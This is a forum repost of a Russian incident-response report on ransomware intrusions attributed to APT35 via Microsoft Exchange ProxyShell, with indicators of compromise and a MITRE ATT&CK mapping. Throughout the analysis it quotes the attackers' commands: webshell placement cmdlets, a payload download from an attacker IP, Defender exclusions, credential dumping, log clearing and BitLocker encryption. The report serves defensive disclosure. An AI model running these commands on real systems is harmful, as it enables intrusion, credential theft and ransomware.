APT35 — неожиданная угроза: как мы обнаружили иранских хакеров в инфраструктурах нескольких компаний

Discussion in 'Мировые новости. Обсуждения.' started by CyberTro1n, 30 Dec 2022.

  1. CyberTro1n

    CyberTro1n Elder - Старейшина

    Joined:
    20 Feb 2016
    Messages:
    1,075
    Likes Received:
    855
    Reputations:
    14
    С мая 2022 года мы столкнулись с двумя кейсами, где атакующие используют уязвимость Microsoft Exchange ProxyShell для первоначального доступа и размещения веб-шеллов. Скорее всего, атака связана с группой APT35 (иранская группировка, спонсируемая государством). К такому выводу мы пришли, проанализировав тактики и техники, приписываемые группе. Также некоторые обнаруженные индикаторы схожи с теми, что атрибутированы группе. Но обо всем по порядку.

    С чего все началось
    Чего обычно хотят группировки, действующие в интересах какого-то государства? Их типичные цели - это шпионаж и кража ценных данных. Однако наши кейсы - исключение из правил. Атаке подвергались коммерческие компании, которые в обычных условиях не попали бы в поле зрения таких группировок. Их конечная цель сместилась на получение финансовой выгоды путем шифрования инфраструктуры атакованной компании и требования выкупа. Вспоминаются небезызвестные Lazarus, которые занимаются масштабным кибершпионажем, но при этом осуществляют атаки на криптовалюты, криптобиржи и используют шифровальщики для получения финансовой выгоды. Возникают интересные вопросы. Являются ли попытки прямой монетизации атаки для таких злоумышленников следствием урезания финансирования? Были ли такие действия санкционированы? Пойдут ли по такому же пути иные группировки? Скорее всего, время покажет.

    Но вернемся к атаке. Интересен способ отправки требования выкупа. Для этого использовалась обычная печать на принтере. Пример такого письма:

    [​IMG]
    [​IMG]
    Получив такие письма, жертвы обратились к нам, и к исследованию подключились специалисты Solar JSOC CERT. Ниже описаны тактики, техники и инструменты, использованные в атаках. Данные нам удалось получить в результате исследования образов систем.

    Первоначальный доступ
    Как упоминалось ранее, для атаки была задействована уязвимость ProxyShell. Для подтверждения использования уязвимости можно обратиться к журналу MSExchange Management и журналам из каталога W3SVC1 (для дополнительного подтверждения можно посмотреть и другие журналы).

    Для первоначального размещения веб-шеллов с использованием уязвимости ProxyShell применялись команды:

    • New-ManagementRoleAssignment -Role "Mailbox Import Export" -User "<REDACTED>@<REDACTED>" – присвоение корректной роли учетной записи для возможности импорта и экспорта почтового ящика;

    • New-MailboxExportRequest -Mailbox "<REDACTED>@<REDACTED>" -FilePath "\\localhost\E$\ExchangeServer\V15\FrontEnd\HttpProxy\ecp\auth\aspx_qdiaxtuajjd.aspx" -IncludeFolders ("#Drafts#") -ContentFilter "Subject -eq 'aspx_qdiaxtuajjd'" – команда для экспорта почтового ящика с темой «aspx_qdiaxtuajjd» в файл с расширением aspx. В указанном примере можно обратить внимание на использование нестандартного раздела (не C:\) для установленной версии Exchange;

    • Remove-MailboxExportRequest -Confirm "False" -Force "True" -Identity "26893b0c-dfc1-4776-83d0-e489e3506b32" – команда на удаление запроса выше.
    Загруженный веб-шелл имеет функции загрузки и выгрузки файлов, а также запуска определённых исполняемых файлов. Например, может выполнять команды через оболочку powershell.

    Расположение и наименования первоначального веб-шелла:

    • \\localhost\c$\inetpub\wwwroot\aspnet_client\system_web\aspx_scyieqfkxna.aspx

    • \\localhost\E$\Exchange Server\V15\FrontEnd\HttpProxy\ecp\auth\aspx_qdiaxtuajjd.aspx

    • \\localhost\c$\inetpub\wwwroot\aspnet_client\system_web\aspx_pdydmpramaj.aspx
    Можно отметить, что атакующие корректно определяют раздел, на который установлено ПО Microsoft Exchange, что необходимо для эксплуатации размещенных веб-шеллов.

    Обратите внимание, что наименование веб-шеллов, размещенных с использованием ProxyShell, имеет повторяющийся паттерн: константа «aspx_», после чего идет 12 случайных символов латинского алфавита и расширение «.aspx».

    Пример кода веб-шелла:

    [​IMG]
    Что интересно, после размещения такого многофункционального веб-шелла, осуществляется размещение меньших веб-шеллов:

    [​IMG]
    Расположения, в которых последние размещались:

    • C:\inetpub\wwwroot\aspnet_client\system_web\default.aspx

    • E:\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\login.aspx

    • C:\inetpub\wwwroot\aspnet_client\system_web\default.aspx.req

    • C:\inetpub\wwwroot\aspnet_client\system_web\info.aspx.req
    Последовательность действий после осуществления первоначального доступа:

    1. Создается исключение из проверок для Microsoft Defender для каталога C:\Windows:

      HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows

    2. После проникновения осуществляется последовательное размещение трех исполняемых файлов, их запуск, и выполнение некоторых команд. Размещенные файлы:

      C:\windows\temp\user.exe

      C:\windows\temp\task_update.exe

      C:\Windows\dllhost.exe

      Описание действий, осуществляемых исполняемыми файлами приведено далее.

    3. Осуществляется разведка

      C:\windows\system32\query.exe

      C:\windows\system32\quser.exe

    4. Добавляется правило для FW:

      FW rule added to exception list | *: * | : Terminal Server | LocalPorts:3389 | RemotePorts:*

    5. Запускается TermService

    6. Изменяется значение ключа UseLogonCredential по пути к ветке реестра Control\SecurityProviders\WDigest, которому присвоено значение «1», что позволяет хранить пароли в открытом виде в памяти.

    7. В обоих случаях имеются следы дампа процесса lsass. В первом случае имеются следы обращения к файлу C:\Users\DefaultAccount\AppData\Local\Temp\lsass.zip с использованием созданной учетной записи DefaultAccount. При этом указанные следы имеются уже после первоначальных следов доступа. За 30 секунд до создания дампа имелись следы запуска менеджера задач (taskmgr.exe), с использованием которого можно создать дамп процесса, который будет сохранен по умолчанию в каталог, в котором находился файл «lsass.zip». Во втором случае имеется файл С:\Windows\Temp\ssasl.pmd, который архивирован в \Windows\Temp\ssasl.zip. Можно заметить, что имя файла «ssasl.pmd» представляет собой зеркальную запись от «lsass.dmp». Указанные следы имеются сразу после первоначального доступа.
    Можно обратить внимание, что все вышеперечисленные действия, начиная с эксплуатации ProxyShell до размещения ВПО и его закрепления, осуществляются менее чем за 10 минут и имеют видимый повторяющийся паттерн. Таким образом, можно предположить, что все они осуществляются автоматически.

    Анализ ВПО
    1. Файл «user.exe». Предназначен для создания учетной записи DefaultAccount c паролем «P@ssw0rd1234», добавления учетной записи в группе локальных администраторов (окончательный список групп: Administrators, Remote Desktop Users, Distributed COM Users, System Managed Accounts Group), разрешения RDP-доступа к указанной УЗ.

    2. Файл «task_update.exe». При запуске выполняет следующие действия:
    • schtasks.exe /Create /F /XML %wintmp%\Wininet.xml /tn '\Microsoft\Windows\Maintenance\Wininet'

    • schtasks.exe /Run /tn '\Microsoft\Windows\Maintenance\Wininet'

    • try { Add-MpPreference -ExclusionPath 'C:\Windows' -Force -AsJob} catch {}

    • powershell /c {$file='c:\windows\dllhost.exe'; Invoke-WebRequest -Uri 'http://172.245.26.118/aaa' -OutFile $file}

    • certutil -addstore -f root C:\Windows\Temp\cert.cer
    Таким образом, файл создает и запускает задачу Wininet, добавляет каталог «C:\Windows» в исключения для Microsoft Defender, загружает файл «c:\windows\dllhost.exe» и добавляет самоподписанный сертификат в корневые с использованием certutil из файла C:\Windows\Temp\cert.cer. На одном из хостов обнаружен такой сертификат:

    [​IMG]
    [​IMG]
    При этом на исследованных хостах имеются 2 задачи, одна из которых предположительно создается через веб-шелл:

    • \Microsoft\Windows\Maintenance\Wininet

    • \'\Microsoft\Windows\Maintenance\Wininet'
    1. Данные командного файла «Wininet.bat»:
    [​IMG]
    Как видно, командный файл просто запускает исполнение программы «dllhost.exe» в бесконечном цикле.

    1. Файл «dllhost.exe» является измененной программой реверс-прокси FRPC, собранной из проекта https://github.com/fatedier/frp. Программа написана на языке Go. Ей может быть отдан параметр IP-адреса, к которому осуществляется подключение. Также установлено, что в программе имеются следующие домены:
    • kcp53.tcp443[.]org

    • tcp443.tcp443[.]org

    • kcp53.msupdate[.]us

    • tcp443.msupdate[.]us
    После запуска выполняются команды:

    powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress | ft -hidetableheaders"

    cmd /c "wmic computersystem get domain"

    5. Файл C:\Users\kdadmin\Desktop\New folder\install-proxy.bat, данные:

    [​IMG]
    Командный файл выполняет следующие действия:

    • Добавляет каталог «C:\ProgramData» в исключения для Microsoft Defender, создает каталог C:\ProgramData\Microsoft\Windows\DllHost, копирует в него файл dllhost.exe, создает другой командный файл C:\ProgramData\Microsoft\CacheTask.bat.

    • Сохраняет сертификат, хранящийся в теле командного файла в файл С:\Windows\Temp\cert.cer и устанавливает его в качестве корневого. Можно отметить, что сертификат совпадает с тем, который описан ранее (файлы сертификата и командного найдены на разных хостах).

    • Далее создает и запускает задачу "\Microsoft\Windows\Maintenance\CacheTask", после чего удаляет файл «CacheTask.xml» и самого себя. Можно отметить, что функционал задачи CacheTask полностью аналогичен задаче Wininet – запуск программы-прокси «dllhost.exe» с использованием командного файла «CacheTask.bat» (предположительно аналогичен «Wininet.bat»).
    Исследование атаки. Продолжение
    Дальнейшее развитие атаки осуществлялось с использованием созданной учетной записи DefaultAccount, в результате подключения по RDP. При этом в большинстве случаев в событиях создания сессии RDP из журналов ОС содержали внешние IP-адреса атакованных систем или 127.0.0.1, предположительно из-за использования программы-прокси dllhost.exe. Однако в одном из кейсов имеется событие eventid 131 (RDP server accepted a new TCP connection) в котором числится IP-адрес, 86.57.3.147, предположительно принадлежащий атакующим. А согласно данным из открытых источников, указанный адрес принадлежит сети AS 43754 (Asiatech Data Transmission company), которая находится как раз в Иране.

    [​IMG]
    После получения учетных записей (после включения хранения паролей в памяти в открытом виде и дампа процесса lsass) осуществляется перемещение на другие хосты компании, также с активным использованием RDP.

    Также на различных хостах можно отметить следующие следы:

    1. Использование программы SoftPerfectNetworkScanner. C:\Users\DefaultAccount\Desktop\netscanold.zip – архив, в котором находится исполняемый «netscanold.exe», который является программой SoftPerfectNetworkScanner. Также в архиве находится файл конфигурации «netscanold.xml». Результат сканирования помещался в файл C:\Users\DefaultAccount\Desktop\scan.xml.

    2. Файлы C:\Windows\System32\ewBnYdgI.tmp и C:\Windows\System32\nXGpPHzT.tmp – дампы реестров SAM и Security.

    3. Интересные запуски команд для получения данных УЗ и аудита домена:

      .\secretsdump.exe <username>:<password>@<IP address> >hash.txt. Следы запуска скомпилированной версии программы https://github.com/SecureAuthCorp/impacket/blob/master/impacket/examples/secretsdump.py, предназначенной для получения дампа хэшей паролей УЗ.
    .\ADAudit.ps1. Следы запуска скрипта ADAudit.ps1, предположительно взятого из проекта https://github.com/phillips321/adaudit/blob/master/AdAudit.ps1, который позволяет провести быстрый аудит домена.

    1. На одном из хостов контроллера домена сохранились команды, которые отдавались в кодированном в base64 виде (команда запуска «powershell.exe -NoP -NoL -NonI -Exec Bypass -Enc»), далее уже декодированные команды:
    • $ProgressPreference="SilentlyContinue";Start-Process powershell.exe {Start-Sleep -s 1800; shutdown /r /f /t 0}. Команда на выключение компьютера через 1800 секунд (30 минут)

    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe net start schedule; Set-Service -Name eventlog -StartupType auto; net start eventlog; wevtutil cl 'Security'; wevtutil cl 'System'; wevtutil cl 'Windows PowerShell'; wevtutil cl 'Microsoft-Windows-PowerShell/Operational'; wevtutil cl 'Microsoft-Windows-TerminalServices-LocalSessionManager/Admin'; wevtutil cl 'Microsoft-Windows-BitLocker/BitLocker Management'. Команда на удаление различных журналов ОС Windows.

    • $ProgressPreference="SilentlyContinue";Start-Process powershell.exe {Set-Service -Name eventlog -StartupType disabled; net stop eventlog /y; takeown /F C:\Windows\System32\fvenotify.exe; icacls C:\Windows\System32\fvenotify.exe /deny EVERYONE:F}. Команда – остановка журналирования ОС, получение прав на fvenotify.exe (исполняемый BitLocker) и запрет для всех пользователей

    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe if (Get-Command Get-ClusterSharedVolume -errorAction SilentlyContinue) { foreach($Cluster in Get-ClusterSharedVolume) { Suspend-ClusterResource $Cluster -Force; $PlainPassword='66f69e-<REDACTED>; $SecurePassword = $PlainPassword | ConvertTo-SecureString -AsPlainText -Force; enable-bitlocker $Cluster.SharedVolumeInfo.FriendlyVolumeName -password $SecurePassword -PasswordProtector -skiphardwaretest -UsedSpaceOnly;} }. Команда для запуска шифрования. Обратите внимание на использование пароля в открытом виде.
    Выводы
    Учитывая изложенные выше данные и основываясь на том, что сразу после успешного размещения веб-шеллов осуществляется размещение различных исполняемых файлов, можно предположить, что группа разработала какой-то автоматизированный инструментарий для поиска уязвимых серверов и проведения атак на них.

    После получения первоначального доступа осуществляется доступ по протоколу RDP, компрометация иных учетных записей, в далее - горизонтальное перемещение по локальной сети организации и компрометация домена. После этого осуществляется шифрование с использованием BitLocker и оставляется сообщение с требованиями вымогателей.

    Интересна скорость развития атаки. В одном случае буквально на следующий день после получения первоначального доступа произошла компрометация домена и была выполнена попытка шифрования с использованием BitLocker. В другом - развитие атаки было более медленным и заняло 11 дней.

    Если учесть, что у хакеров есть автоматизированный инструментарий, можно ожидать продолжение атак на различные сети организаций в России.

    Индикаторы компрометации (IoC)
    Файловые индикаторы

    Имя

    MD5

    SHA1

    SHA256

    Описание

    aspx_qdiaxtuajjd.aspx

    79dc1761e54baabbbb8d2938c1ebdb42

    2d11db1bd96d649afec7f3cff49c291a512578d9

    146cbe779d8d88f7aaa3d8b2c7c3ca28d8f62d1e1f1a62db76c1ccbcb34453cb

    Веб-шелл

    aspx_scyieqfkxna.aspx

    c7b65c9658058ff9c7017b2af503f9e2

    493b2e041d6b7411fc25632727149aee8542a586

    4d632d0aeb885d53dff495f06af232ba7754d74263e7a284a34edd590ec7bb2c

    Веб-шелл

    aspx_pdydmpramaj.aspx

    618050829a8e744b8873e43da8a4e3c1

    5f7cbfe775699638458991564b444415e3c8785c

    8ef98860d912997a89bf9da097be86ec97895e16c97f6eb44c71ef51b28a2663

    Веб-шелл

    login.aspx

    b51ab1b5af0e021a13f99d707c2f09fd

    1dc582e071a6c484c64bab6af62d72fafc868593

    ec7f9544c6c757e22bb7f496587334d84914896c2550420a05e96c86e5cafcaf

    Дополнительный веб-шелл

    default.aspx

    1d513c7e5d4c0b319bf94a7f6384bba6

    c48e82062fa0b711557976f1fb28a8bcb2886c80

    8e1437356c933c806fd38b3784f502da7226d598ce015436f80e31fb68185153

    Дополнительный веб-шелл

    default.aspx.req

    0f7bc1eabdc6ab9e45eb65de7077f829

    ca513db841ce6bf0cb098fffbaaf79791299c63c

    19aebcc4b36103b95bc8736edf6fec0930f1b5f7b9829167ba1b966befae7df8

    Дополнительный веб-шелл

    info.aspx.req

    78502913d70b5170f8cac7fba2b1142d

    de9eac9bb463855ab83a2bac8d26c0e1a8f55521

    d28c5788b5f43c41f137ae023f48c3e5d4f72dea7cd16de195ae247da3b9505d

    Дополнительный веб-шелл

    dllhost.exe

    d55fa23a67fa7ce17b237e1b55274ac5

    ce908b5651c7456edd71ed9e0d29dca575bd20e5

    f0fb2a5161e8fe786567114d745687d225b80a532ff9313c40fa49bf6002c686

    Программа-прокси, измененная FRPC

    dllhost.exe

    43d6ebb2162e02dde008d6e4ccc1332d

    b7a53f52484a32b2dd6023f570f8644edb0f576f

    e4901d9a00d550ff2c6e24496e20e769f2ce253a191d6c5492312f1b5053cd64

    Программа-прокси, измененная FRPC

    wininet.bat

    5f098b55f94f5a448ca28904a57c0e58

    27102b416ef5df186bd8b35190c2a4cc4e2fbf37

    668ec78916bab79e707dc99fdecfa10f3c87ee36d4dee6e3502d1f5663a428a0

    Командный для запуска dllhost.exe

    install-proxy.bat

    0fd744b6832c57a2490819764805dfe9

    2523c1e8cf2a15cd265847e5265766d3ffa0ab1d

    3d2a2d6ef842ed3246c4f14d352b99b0269e1ffdbc965c13a2382c82bda90b14

    Командный для закрепления программы-прокси

    task_update.exe

    0bbb57cacc082306d78dbe1b95b2b9b7

    b6fa7273f7d0255e31542c7782df6a136f49fd5d

    3d13af2f01cbae96b326a40c5e0399adbb332ab803ba8fc4c27763b5eae26f73

    Программа для загрузки и закрепления программы-прокси

    user.exe

    90ea3af8f0ded9fa6faee010136267c8

    b3e051de5210258eb87b0ed7f0c137a240fc76d4

    600b927e511d53b7c7c5f4527b6757f1337aff741724aabc429ded097d01f412

    Программа для создания УЗ DefaultAccount

    cert.cer

    0ce5a40d8f50c0435e38b88bf6b0a92d

    6970700bc5e0df88e107034bcdad0449c134da08

    f85b88a89e7ccef6cd71c4bece78562fe10955663227c5d836408c172efbd99a

    Сертификат, использованный в атаке

    wininet.xml

    d2f4647a3749d30a35d5a8faff41765e

    0f676bc786db3c44cac4d2d22070fb514b4cb64c

    559d4abe3a6f6c93fc9eae24672a49781af140c43d491a757c8e975507b4032e

    Используется для создания задачи WinInet

    Сетевые индикаторы:

    · kcp53.tcp443[.]org

    · tcp443.tcp443[.]org

    · kcp53.msupdate[.]us

    · tcp443.msupdate[.]us

    · kcp53[.]mssync[.]one

    · tcp443[.]mssync[.]one

    · 86.57.3[.]147

    · 91.203.74[.]214

    · 104.21.23[.]5

    · 172.245.26[.]118

    · 94.232.46[.]57

    · 201.116.118[.]22

    Тактики техники и процедуры

    Тактика

    Техника

    Описание

    Initial Access

    Exploit Public-Facing Application – T1190

    Первоначальный доступ через уязвимость Microsoft Exchange

    Execution

    Windows Command Shell – T1059

    Исполнение через оболочку командной строки, оболочку powershell

    Persistence



    Create Account: Local Account– T1136.001



    Создание и добавление УЗ DefaultAccount

    Web Shell – T1505.003

    Размещение веб-шеллов через ProxyShell

    Scheduled Task/Job: Scheduled Task T1053.005

    Создание и исполнение задачи для запуска dllhost.exe

    Privilege Escalation

    Valid Accounts – T1078



    Использование существующих привилегированных доменных УЗ

    Defense Evasion

    Match Legitimate Name or Location – T1036.005

    Использование наименования «dllhost.exe» для маскировки под легитимный файл

    Impair Defenses: Disable or Modify Tools -T1562.001

    Добавление исключений для Microsoft Defender

    Impair Defenses: Disable Windows Event Logging - T1562.002

    Остановка журналов ОС Windows

    Indicator Removal on Host: Clear Windows Event Logs - T1070.001

    Очистка журналов ОС Windows

    Credential Access

    OS Credential Dumping – T1003



    Дамп процесса lsass. Дампы реестра SAM, Security

    Discovery

    System Information Discovery – T1082

    Разведка с использованием dllhost.exe, следы использования quser.exe, query.exe

    Network Service Discovery – T1046

    Использование программы Softperfect Network Scanner

    Lateral Movement

    Remote Services: Remote Desktop Protocol T1021.001

    Для перемещения по локальной сети использовался RDP

    Collection

    Archive Collected Data T1560

    Архивирование дампа lsass

    Command and Control

    Ingress Tool Transfer – T1105

    Загрузка dllhost.exe с использованием Invoke-WebRequest

    Proxy T1090

    Использовалась измененная программа-прокси FRPC

    Impact

    Data Encrypted for Impact -T1486

    Шифрование с использованием BitLocker

    System Shutdown/Reboot - T1529

    Перезагрузка систем

    Cop¥: https://habr.com/ru/company/solarsecurity/blog/707910/
     
Loading...